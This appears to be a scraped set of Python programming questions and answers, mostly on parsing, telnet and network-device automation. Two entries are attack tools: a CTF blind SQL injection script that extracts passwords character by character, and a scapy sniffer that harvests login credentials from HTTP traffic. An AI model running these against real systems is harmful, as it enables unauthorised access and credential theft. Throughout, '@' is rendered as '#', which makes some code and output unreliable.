How to split text between multiple characters in Python? - python-3.x

I have a log file with the following information:
RTSP0 rtsp://admin:******#192.168.0.104:554/onvif1
where, 'admin' is the username, '******' is the password, '192.168.0.104' is the camera IP and '554' is the camera port. I want to extract these values separately and store these values in different variables, which will later be parsed to the GUI.
Since there are multiple characters in the line, I'm not sure how I can split them.
Is there any way to do so?

How about regex?
import re
regex = re.compile(r".*//(?P<username>\S+):(?P<password>.*)#(?P<ip_address>.*):(?P<port>.*)/")
data = "RTSP0 rtsp://admin:******#192.168.0.104:554/onvif1"
for match in regex.finditer(data):
username = match.group('username')
password = match.group('password')
ip_address = match.group('ip_address')
port = match.group('port')
print(
"Username: {0}\nPassword: {1}\nIP Address: {2}\nPort: {3}"
"".format(username, password, ip_address, port)
)
The result is:
Username: admin
Password: ******
IP Address: 192.168.0.104
Port: 554

You could use urllib.parse:
>>> from urllib.parse import urlparse
>>> o = urlparse('rtsp://admin:******#192.168.0.104:554/onvif1')
>>> o
ParseResult(scheme='rtsp', netloc='admin:******#192.168.0.104:554', path='/onvif1', params='', query='', fragment='')
>>> o.username
'admin'
>>> o.password
'******'
>>> o.hostname
'192.168.0.104'
>>> o.port
554

Related

Python3 telnetlib - telnet with username and password and then execute other commands

I would like to be able to telnet, input login and password credentials and then execute commands once connected but my code seems to not continue after password is entered.
import getpass
import telnetlib
HOST = "172.25.1.1"
user = input("Enter your remote account: ")
password = getpass.getpass()
tn = telnetlib.Telnet(HOST)
tn.read_until(b"login: ")
tn.write(user.encode('utf-8') + "\n")
if password:
tn.read_until(b"Password: ")
tn.write(password.encode('utf-8') + "\n")
tn.write(b"command to be issued")
print(tn.read_all())
with this code I want to telnet, input login credentials, input password, and once connected issue a command
Looks like the problem was a timing issue, I needed to import time and add time.sleep(2) after issuing the command before print(tn.read_all()).

Use for loop with dictionary

I'm using Napalm to change the hostname of many network devices. Since the config will be different for each device, I need the script to assign the proper config to each device based on it's IP address. This seems like a dictionary would work best.
devicelist = {'10.255.32.1': 'device1.cfg', '10.255.32.5': 'device2.cfg'}
I need help calling the key value in the script below for each IP address. I have highlighted the line of code where this is required.
from napalm import get_network_driver
devicelist = ['10.255.32.1',
'10.255.32.5'
]
for ip_address in devicelist:
print ("Connecting to " + str(ip_address))
driver = get_network_driver('ios')
iosv = driver(ip_address, 'admin', 'password')
iosv.open()
**iosv.load_merge_candidate(filename='device1.cfg')**
diffs = iosv.compare_config()
if len(diffs) > 0:
print(diffs)
iosv.commit_config()
else:
print('No changes required.')
iosv.discard_config()
iosv.close()
You are asking for a simple access by key on your dictionary, combined with a for loop over the dictionary which is automatically a for loop over the keys. Minimal example:
devicelist = {'10.255.32.1': 'device1.cfg', '10.255.32.5': 'device2.cfg'}
for ipAdress in devicelist:
print("This IP : {} maps to this name: {}".format(ipAdress, devicelist[ipAdress]))
Output:
This IP : 10.255.32.1 maps to this name: device1.cfg
This IP : 10.255.32.5 maps to this name: device2.cfg

Python Storing Dynamic Command inside Dynamic Variable

I've got this list:
appliances = [{'firewall': 'Washington', 'firewall_endpoint': '192.168.1.254:443'}, {'firewall': 'Atlanta', 'firewall_endpoint': '10.8.6.1:6565'}]
This list can be dynamic as appliances are added to the network. I found some code that creates dynamic variables based on the item in the list:
for num in range(len(appliances)):
exec(f'firewall_endpoint_'+str(num)+'_session = firewallhost[num]')
I'm able to print out a list of current variables and you can see it creates the two firewall_endpoint_x variables:
['firewall_endpoint_0', 'firewall_endpoint_1', 'time', 'requests', 'sys', 'pprint', 'json', 'socket', 'struct', 'ipaddress', 'InsecureRequestWarning', 'username', 'password', 'FGT', 'appliances', 'num']
Here is an example of how to login to one session:
fgt=FGT(ipaddress:port)
fgt.login(name=username, key=password)
I'm trying to login to both of them at the same time so both of them have their own session. The syntax is all messed up. I have no idea what the right syntax is
username = admin
password = password123
class FGT(object):
def login(self, name, key):
url = self.url_prefix + '/logincheck'
res = self.session.post(url,
data='username=' + name + '&secretkey=' + key,
verify = False)
if type(appliances) == list:
## Create dynamic list of firewall variables and login
for num in range(len(firewallhost)):
exec(f'firewall_endpoint_'+str(num)+'_session = FGT(firewallhost[num][firewall_endpoint]).login(username, password)')

How can I pass a .txt file to arguments in Python?

I'm trying to find a way to be able to pass a .txt file to the users argument. I've tried using (fromfile_prefix_chars='#') but without any luck. (It read the file but it doesn't read the whole list) It'll only work if there's only 1 username in the list.
I want it to read the first username in the list, get the password and then switch to the next username in the list.
This is for a ctf i'm working on.
Thank you!
import requests
import argparse
import pyfiglet
from pyfiglet import Figlet
custom_fig = Figlet(font='aquaplan')
print(custom_fig.renderText('XCRACKER'))
from argparse import ArgumentParser
parser = ArgumentParser(fromfile_prefix_chars='#')
parser.add_argument("-t", "--url", help="target")
parser.add_argument("-p", "--proxy", help="Proxy with port")
parser.add_argument("-u", "--users", help="User name list")
args = parser.parse_args()
print( "url {} proxy {} users {} ".format(
args.url,
args.proxy,
args.users,
))
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!##$%^&*()"
for user in args.users:
data = {"Username": '', "Password": "' or username= '" + user + "'or substring(Password,1,1)='p' or'"}
request = requests.post(args.url, data=data, proxies={'http':args.proxy})
length = len(request.text)
p4ss = ''
for i in range(1,25):
for l in letters:
data = {"Username": '', "Password": "' or username= '" + "{}".format(args.users) + "'or substring(Password,{},1)='{}' or'".format(str(i),l)}
request1 = requests.post(args.url, data=data, proxies={'http':args.proxy})
if "{}#".format(args.users) in request1.text and len(request1.text) != 6756:
print("Positive response for user '{}' , the letter is: '{}' trying the next one...".format(args.users, l))
p4ss += l
print(str(i))
print(str(p4ss))
pass

scapy sniff with special characters

Hi i have written below program, it is sniffing packets and i could see username and passwords and URLs, but when i enter password with special character i am getting like this "%21" can somebody please help...
#!/bin/python3
import scapy.all as scapy
from scapy.layers import http
def sniff(interface):
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packets)
def get_url(packet):
if packet.haslayer(http.HTTPRequest):
url = packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
return url
def get_login_info(packet):
if packet.haslayer(http.HTTPRequest):
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
#load = str(load)
keybword = ["usr", "uname", "username", "pwd", "pass", "password"]
for eachword in keybword:
if eachword.encode() in load:
return load
def process_sniffed_packets(packet):
if packet.haslayer(http.HTTPRequest):
url = get_url(packet)
print("[+] HTTP Request>>" + str(url))
login_info = get_login_info(packet)
if login_info:
print("\n\n[+] Possible username and password >>" + str(login_info) + "\n\n")
sniff("eth0")
root#kali:~/python_course_by_zaid# ./packet_sniffer.py
[+] HTTP Request>>b'testing-ground.scraping.pro/login?mode=login'
[+] Possible username and password >>b"b'usr=admin&pwd=123456%21%40
it supposed to print 123456!#
The problem is that the password is URL-encoded. Essentially some characters cannot be put into the URL like ! and #, so they are escaped with a %.
If you URL-decode these strings prior to printing them, you'll get the expected result. In Python3, you can decode like so:
# script.py
import urllib.parse
result = urllib.parse.unquote("123456%21%40")
print(result)
Running it we get:
$ python script.py
123456!#

Resources